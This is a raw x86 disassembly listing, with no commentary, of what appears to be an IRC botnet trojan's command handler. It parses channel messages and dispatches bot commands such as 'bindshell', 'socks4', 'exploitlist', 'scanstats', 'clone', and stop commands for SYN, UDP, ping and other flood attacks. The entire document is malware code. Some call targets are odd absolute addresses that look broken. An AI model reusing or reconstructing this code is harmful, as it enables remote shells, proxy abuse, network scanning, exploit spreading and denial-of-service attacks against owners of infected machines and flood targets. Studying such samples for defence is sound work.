		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41C850
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_402340
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_401ACD+833j
					; sub_401ACD+838j
		mov	esi, [ebp+var_AC]


loc_402340:				; CODE XREF: sub_401ACD+86Bj
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401F75
		push	edi
		push	offset dword_42CC7C
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40238B
		mov	eax, dword_4CB898
		mov	eax, off_429168[eax*4]
		cmp	[eax], bl
		jz	short loc_40238B
		push	eax
		push	ecx
		push	offset dword_42CC60
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_40238B:				; CODE XREF: sub_401ACD+8A0j
					; sub_401ACD+8B0j
		push	edi
		push	offset dword_42CC58
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_402160
		push	eax
		push	ecx
		push	offset dword_42CC40
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4023CA:				; CODE XREF: sub_401ACD+7B9j
					; sub_401ACD+76B7j
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42CC04
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4023DB:				; CODE XREF: sub_401ACD+6DDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CBC0


loc_4023EE:				; CODE XREF: sub_401ACD+7C19j
					; sub_401ACD+7C80j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_402402:				; CODE XREF: sub_401ACD+6D1j
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402551
		cmp	[ebp+var_A4], ebx
		jz	loc_40252A
		push	1Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_402519
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AAC]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_2914],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB4],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2994]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_290C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2908],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CB98
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_2910],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB4]
		push	ebx
		push	eax
		push	offset dword_416000
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_2910]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_402508


loc_4024F2:				; CODE XREF: sub_401ACD+A39j
		cmp	[ebp+var_2904],	ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 26A0475h
		nop
		jmp	short loc_4024F2
; ---------------------------------------------------------------------------


loc_402508:				; CODE XREF: sub_401ACD+A23j
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42CB60
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_402519:				; CODE XREF: sub_401ACD+966j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CB30
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40252A:				; CODE XREF: sub_401ACD+956j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CAFC
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40253B:				; CODE XREF: sub_401ACD+6B6j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401F75


loc_402551:				; CODE XREF: sub_401ACD+94Aj
		mov	edi, [edi]
		push	edi
		push	offset aC	; "c"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		push	edi
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025A2
		push	[ebp+var_8C]
		push	offset dword_42CCD0
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644


loc_4025A2:				; CODE XREF: sub_401ACD+AB9j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409644
		xor	edi, edi
		cmp	dword_4294D4, ebx
		jle	loc_402757
		mov	[ebp+arg_20], offset dword_43DBA0


loc_4025C0:				; CODE XREF: sub_401ACD+B12j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4025E6
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294D4
		jl	short loc_4025C0
		jmp	loc_402757
; ---------------------------------------------------------------------------


loc_4025E6:				; CODE XREF: sub_401ACD+B02j
		push	offset asc_42CDCC ; " :"
		push	[ebp+arg_0]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43DBB8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40263B:				; CODE XREF: sub_401ACD+C1Fj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026A7
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026A7
		lea	eax, dword_43DBA0[edi]
		push	eax
		call	sub_41B9C0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026E2
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026E2
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch
		jmp	short loc_4026E2
; ---------------------------------------------------------------------------


loc_4026A7:				; CODE XREF: sub_401ACD+B96j
					; sub_401ACD+B9Dj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026E2
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 18h


loc_4026E2:				; CODE XREF: sub_401ACD+BAFj
					; sub_401ACD+BC3j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40263B
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_4026FF:				; CODE XREF: sub_401ACD+C7Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD	; "$%d"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_402742
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402742
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch


loc_402742:				; CODE XREF: sub_401ACD+C5Aj
					; sub_401ACD+C60j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_4026FF
		mov	[ebp+var_2C8], 1


loc_402757:				; CODE XREF: sub_401ACD+AE6j
					; sub_401ACD+B14j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_402770
		cmp	[ebp+var_2C8], ebx
		jz	loc_402961


loc_402770:				; CODE XREF: sub_401ACD+C95j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_41843B
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_1	; "$user"
		push	edi
		call	sub_41843B
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_41843B
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_41843B
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_41843B
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h


loc_4027E2:				; CODE XREF: sub_401ACD+E0Dj
		test	eax, eax
		jz	loc_4028DF
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CAB4 ; ")"
		push	eax
		call	sub_41CAD4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40282E
		cmp	[ebp+var_A0], 39h
		jle	short loc_402844


loc_40282E:				; CODE XREF: sub_401ACD+D56j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_402844:				; CODE XREF: sub_401ACD+D5Fj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	short loc_40286A
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40287E
; ---------------------------------------------------------------------------


loc_40286A:				; CODE XREF: sub_401ACD+D86j
		call	sub_41C2C2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40287E:				; CODE XREF: sub_401ACD+D9Bj
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41B9C0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 30h
		jmp	loc_4027E2
; ---------------------------------------------------------------------------


loc_4028DF:				; CODE XREF: sub_401ACD+D17j
		mov	edi, 1FFh
		lea	eax, [ebp+var_428C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	edi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_4EF8]
		push	offset asc_42CDC8 ; " "
		push	eax
		call	sub_41CAD4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40292F:				; CODE XREF: sub_401ACD+E77j
		push	offset asc_42CDC8 ; " "
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40292F
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401F75
		add	ecx, 3
		mov	[eax], ecx


loc_402961:				; CODE XREF: sub_401ACD+C9Dj
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aRn	; "rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aLo	; "lo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aVersion	; "version"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aVer	; "ver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aRulez	; "rulez"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aRz	; "rz"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSt	; "st"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBd	; "bd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B0E
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CA10
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B0E:				; CODE XREF: sub_401ACD+1027j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aS4	; "s4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B61
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9E8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B61:				; CODE XREF: sub_401ACD+107Aj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B8A
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9CC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B8A:				; CODE XREF: sub_401ACD+10A3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9B0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BB3:				; CODE XREF: sub_401ACD+10CCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BDC
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C99C
		push	offset dword_42C990
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BDC:				; CODE XREF: sub_401ACD+10F5j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C05
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C970
		push	offset dword_42C960
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C05:				; CODE XREF: sub_401ACD+111Ej
		push	edi
		push	offset dword_42C954
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C2E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C948
		push	offset dword_42C93C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C2E:				; CODE XREF: sub_401ACD+1147j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C57
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C928
		push	offset dword_42C91C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C57:				; CODE XREF: sub_401ACD+1170j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C80
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C900
		push	offset dword_42C8F0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C80:				; CODE XREF: sub_401ACD+1199j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CA9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C8D4
		push	offset dword_42C8C4
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CA9:				; CODE XREF: sub_401ACD+11C2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD2
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C8AC
		push	offset dword_42C8A0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CD2:				; CODE XREF: sub_401ACD+11EBj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E28
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C948
		push	offset dword_42C93C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	0Eh
		push	offset dword_42C928
		push	offset dword_42C91C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C888
		push	offset dword_42C87C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	16h
		push	offset dword_42C870
		push	offset dword_42C864
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C8D4
		push	offset dword_42C8C4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	12h
		push	offset dword_42C8AC
		push	offset dword_42C8A0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C854
		push	offset dword_42C844
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	13h
		push	offset dword_42C834
		push	offset dword_42C824
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C900
		push	offset dword_42C8F0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C7F0
		push	[ebp+var_88]
		push	edi
		call	sub_409869
		add	esp, 34h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_402E28:				; CODE XREF: sub_401ACD+1214j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E51
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C854
		push	offset dword_42C844
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E51:				; CODE XREF: sub_401ACD+136Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E7A
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C834
		push	offset dword_42C824
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E7A:				; CODE XREF: sub_401ACD+1393j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C888
		push	offset dword_42C87C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EA3:				; CODE XREF: sub_401ACD+13BCj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ECC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C870
		push	offset dword_42C864
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402ECC:				; CODE XREF: sub_401ACD+13E5j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EF5
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C7A8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EF5:				; CODE XREF: sub_401ACD+140Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F72
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C758
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F72:				; CODE XREF: sub_401ACD+148Bj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F9B
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C734
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F9B:				; CODE XREF: sub_401ACD+14B4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FC4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C714
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402FC4:				; CODE XREF: sub_401ACD+14DDj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aStats	; "stats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aDc	; "dc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aQ	; "q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aStatus	; "status"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aS_0	; "s"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aId	; "id"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aI	; "i"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aR3start	; "r3start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403190
		call	sub_418884
		test	eax, eax
		mov	eax, offset unk_42C654
		jnz	short loc_403162
		mov	eax, offset unk_42C630


loc_403162:				; CODE XREF: sub_401ACD+168Ej
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 1Ch
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_403190:				; CODE XREF: sub_401ACD+1680j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aT	; "t"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aAl	; "al"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aLog	; "log"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aLg	; "lg"
		call	sub_41CA50
		pop	ecx
